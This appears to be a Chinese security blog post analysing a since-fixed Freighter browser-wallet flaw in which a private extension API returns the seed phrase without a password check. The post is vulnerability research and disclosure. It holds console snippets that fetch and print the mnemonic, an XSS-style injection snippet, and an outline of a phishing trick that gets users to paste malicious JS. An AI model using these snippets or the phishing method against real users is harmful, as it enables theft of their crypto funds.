文章总结: Freighter加密钱包5.3.0以下版本存在严重安全漏洞,允许攻击者通过私有API无需用户授权直接获取钱包恢复助记词,攻击成功率高达100%。文章详细分析了漏洞原理、浏览器扩展结构、复现方法和局限性,指出漏洞主要源于未授权访问和身份验证缺失。尽管攻击需在扩展上下文中执行,限制了远程攻击可能性,但攻击者仍可通过恶意扩展或钓鱼页面诱导用户执行恶意代码来窃取助记词。该漏洞在5.3.1版本中已修复,增加了密码验证机制。
综合评分: 92
文章分类: 漏洞分析,代码审计,应用安全,WEB安全
加密钱包安全2——通过私有的API窃取钱包助记词
原创
Ice
Ice ThirdSpace
2025年7月30日 09:45
广东
#
0x01 前言
#
加密货币钱包Freighter在5.3.0版本中被发现存在关键安全漏洞,允许攻击者无需用户授权直接获取钱包的恢复助记词。该漏洞影响当时所有安装用户,攻击成功率高达100%,该漏洞允许恶意网站在 Freighter 钱包解锁时,通过私有API访问助记词短语。这可能导致攻击者获取用户的恢复助记词,可能直切窃取用户的资产安全。
影响版本:< 5.3.1
Freighter钱包:
https://www.freighter.app
低版本的Freighter钱包:
https://www.crx4chrome.com/crx/331224/
漏洞说明:
https://github.com/stellar/freighter/security/advisories/GHSA-vqr6-hwg2-775w
修复PR:
https://github.com/stellar/freighter/pull/948/commits/c4385177ede0ceddaeaa1269a929d150ad501cb2
0x02 前置知识
#
我们需要先明白一些前置知识
助记词是什么?
助记词——>生成私钥——私钥推导可以获得钱包地址
Pin码是什么?
Pin码就是保存在本地的访问密码——可以用来解密保存在电脑本地的加密存储的助记词——显示助记词临时保存在内存当中,众所周知,钱包都存在功能可以在输入Pin码来明文显示助记词,如下所示。
使用加密钱包之前必须要先解锁
5.2.3版本(存在漏洞的版本)
在输入Pin码后就能查看助记词
5.33.3(最新版本)
查看助记词是这样的,可以看到流程上几乎没有任何差别
然后输入PIN码
0x03 浏览器扩展简概
#
由于该漏洞是和浏览器扩展有关的安全问题,所以我们也需要大概知道浏览器扩展的基本组成,这样能够方便我们更好的理解这个漏洞的成因。
将crx后缀文件修改成zip,然后解压(可能需要使用winrar解压,其他的解压软件可能会异常)
核心组成部分如下:
1、配置文件:/manifest.json # 扩展配置清单
{
"update_url": "https://clients2.google.com/service/update2/crx",
"name": "Freighter",
"version": "5.2.3",
"version_name": "5.2.3",
"description": "Freighter is a non-custodial wallet extension that enables you to sign Stellar transactions via your browser.",
"browser_specific_settings": {
"gecko": {
"id": "{3ee0dd4e-8c64-4b92-b539-25718a10f62f}",
"strict_min_version": "48.0"
}
},
##后台永远监听 persistent: true 确保钱包始终激活
"background": {
"scripts": [
"background.min.js"
],
"persistent": true
},
##内容脚本注入:
"content_scripts": [
{
"matches": [
"<all_urls>" #<all_urls> 实现匹配所有的网站都可以打开
],
"js": [
"contentScript.min.js" #注入的内容
],
"run_at": "document_start" #document_start 确保在页面加载前注入
}
],
"browser_action": {
"default_popup": "index.html",
"default_icon": {
"16": "images/icon16.png",
"32": "images/icon32.png",
"48": "images/icon48.png",
"128": "images/icon128.png"
}
},
"icons": {
"16": "images/icon16.png",
"32": "images/icon32.png",
"48": "images/icon48.png",
"128": "images/icon128.png"
},
##权限说明,这里请求的是正常的存储权限和定时权限,未请求敏感权限
"permissions": [
"storage",
"alarms"
],
"manifest_version": 2
}
2、后台服务:/background.min.js # 后台服务 ,负责处理扩展的核心逻辑和事件监听
3、内容脚本:/contentScript.min.js# 内容脚本,负责与网页交互
4、弹出页面入口:/index.html index~493df0b3.min.js # 弹出窗口代码,也叫做popup
5、资源目录
6、其他文件
但是实际上解压后的都是被webpacket打包的,而我们可以在github源码仓库里查询popup里存在一个重要的文件Router.tsx
里面存在Router Path用于匹配路由
例如:
所访问的路由就是:
chrome-extension://bcacfldlkkdogcmkkibnjlakofdplcbk/index.html#/settings
{ROUTES.settings}是具体的路由字符串,而element={
访问5.2.3 版本的源码 /src/popup/Router.tsx
https://github.com/stellar/freighter/tree/5.2.3
可以看到路由和之前的高版本写法并不一样,这里是react V5和V6的写法区别,在5.2.3采用的是React Router v5架构,例如:以下路由就代表访问displayBackupPhrase路由时,会寻找DisplayBackupPhrase组件
<PublicKeyRoute path={ROUTES.displayBackupPhrase}>
<DisplayBackupPhrase />
</PublicKeyRoute>
而ROUTES.displayBackupPhrase并不是真正的路由,真正的路由在\src\popup\constants\routes.ts被引入——import { ROUTES } from “popup/constants/routes”;
export enum ROUTES {
debug = "/debug",
integrationTest = "/integration-test",
welcome = "/",
account = "/account",
viewPublicKey = "/account/view-public-key",
importAccount = "/account/import",
connectWallet = "/account/connect",
connectWalletPlugin = "/account/connect/plugin",
connectLedger = "/account/connect/ledger",
accountHistory = "/account-history",
sendPayment = "/account/sendPayment",
sendPaymentTo = "/account/sendPayment/to",
sendPaymentAmount = "/account/sendPayment/amount",
sendPaymentType = "/account/sendPayment/amount/type",
sendPaymentSettings = "/account/sendPayment/settings",
sendPaymentSettingsFee = "/account/sendPayment/settings/fee",
sendPaymentSettingsSlippage = "/account/sendPayment/settings/slippage",
sendPaymentConfirm = "/account/sendPayment/confirm",
swap = "/swap",
swapAmount = "/swap/amount",
swapSettings = "/swap/settings",
swapSettingsFee = "/swap/settings/fee",
swapSettingsSlippage = "/swap/settings/slippage",
swapConfirm = "/swap/confirm",
addAccount = "/add-account",
signTransaction = "/sign-transaction",
grantAccess = "/grant-access",
mnemonicPhrase = "/mnemonic-phrase",
mnemonicPhraseConfirm = "/mnemonic-phrase/confirm",
mnemonicPhraseConfirmed = "/mnemonic-phrase-confirmed",
pinExtension = "/pin-extension",
unlockAccount = "/unlock-account",
verifyAccount = "/verify-account",
accountCreator = "/account-creator",
recoverAccount = "/recover-account",
recoverAccountSuccess = "/recover-account-success",
settings = "/settings",
displayBackupPhrase = "/settings/display-backup-phrase",
about = "/settings/about",
preferences = "/settings/preferences",
security = "/settings/security",
manageAssets = "/manage-assets",
addAsset = "/manage-assets/add-asset",
searchAsset = "/manage-assets/search-asset",
trustlineError = "/manage-assets/trustline-error",
addToken = "/manage-assets/add-token",
manageNetwork = "/manage-network",
addNetwork = "/manage-network/add-network",
editNetwork = "/manage-network/edit-network",
networkSettings = "/manage-network/network-settings",
}
总结:对于浏览器扩展的审计也和传统的Web源码类似,都是存在路由和核心源码的,而本篇文章所展示的就是类似于Web漏洞里的”未授权访问”类型。
0x04 复现:
#
1、查看接口存在
安装完扩展之后,在扩展页面的上下文
extension://bcacfldlkkdogcmkkibnjlakofdplcbk/index.html#/unlock-account的console控制台输入:
const APIs = ["GET_MNEMONIC_PHRASE", "SHOW_BACKUP_PHRASE"];
APIs.forEach(api => {
chrome.runtime.sendMessage({ type: api }, res =>
console.log(`${api}:`, res ? "存在" : "不可用")
);
});
如我们所愿,接口显示是存在的
2、调用未授权的接口
在扩展页面:
extension://bcacfldlkkdogcmkkibnjlakofdplcbk/index.html#/account 直接调用GET_MNEMONIC_PHRASE接口
chrome.runtime.sendMessage({
type: "GET_MNEMONIC_PHRASE",
}, (response) => {
console.log("Mnemonic:", response.mnemonicPhrase);
});
成功直接打印出助记词
如果是在修复后的版本里,则会进行报错
3、漏洞的局限性
但是实际上,我们使用的chrome.runtime来进行请求API的,如果有了解过浏览器安全机制的人可能会知道,chrome.runtime只能在扩展自身页面(chrome-extension://或是extension://)来调用,而无法再普通的http://或是https://网站调用,仅此该漏洞是具备一定的局限性的。
并且发现在扩展里存在的window.freighter并未注入到全局的浏览器当中(如小狐狸钱包就把window.ethereum)注入到了全局浏览器当中
因此就无法直接通过构造的恶意的html页面来直接窃取钱包的助记词
所以该漏洞主要的攻击源主要还是来源于本地主机的攻击,又或者是通过安装恶意的扩展/恶意注入内容脚本(/contentScript.min.js),而直接无法通过互联网传播窃取。
// 利用DOM XSS注入恶意内容脚本
document.write(`
<script src="chrome-extension://${TARGET_ID}/content.js">
// 劫持合法内容脚本
chrome.runtime.sendMessage({
type: 'SHOW_BACKUP_PHRASE'
});
</script>
`);
4、漏洞攻击可行性
或者攻击者可以构造一个钓鱼页面,伪装成Freighter支持或者相关检测页面,通过语言引导小白用户自己通过F12在控制台中输入对应的恶意JS代码(可以混淆一下),进而窃取受害者的钱包助记词完成攻击。
0x05 安全分析:
#
存在漏洞的代码里并未校验密码(钱包PIN码)就允许直接从sessionStore.getState里获取助记词
而修复后的getMnemonicPhrase函数则是新增了_unlockKeystore——需要password的校验才能返回助记词
简单的来说就是能通过调用getMnemonicPhrase方法进而调用mnemonicPhraseSelector(sessionStore.getState())来获取助记词
而getMnemonicPhrase 方法在popupMessageListener.ts文件中,getMnemonicPhrase方法是通过消息响应机制被调用的
然后全局搜索关键词,发现在shared/api/internal.ts→ 通过 sendMessageToBackground()发送消息
Step1:当发送chrome.runtime.sendMessage({ type: “GET_MNEMONIC_PHRASE” },浏览器会寻找对应的扩展
Step2:接受到消息后匹配上GET_MNEMONIC_PHRASE = “GET_MNEMONIC_PHRASE”后,就会路由到SERVICE_TYPE.GET_MNEMONIC_PHRASE当中
Step3:到了GET_MNEMONIC_PHRASE中,就会进而执行getMnemonicPhrase方法然后直接打印助记词
0x06 总结
#
该漏洞主要的成因是未授权访问 + 身份验证缺失,一旦攻击成功可以100%的获取助记词,不论攻击的前置条件难度有多大,对于钱包而言都是严重漏洞。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ice ThirdSpace Ice《加密钱包安全2——通过私有的API窃取钱包助记词》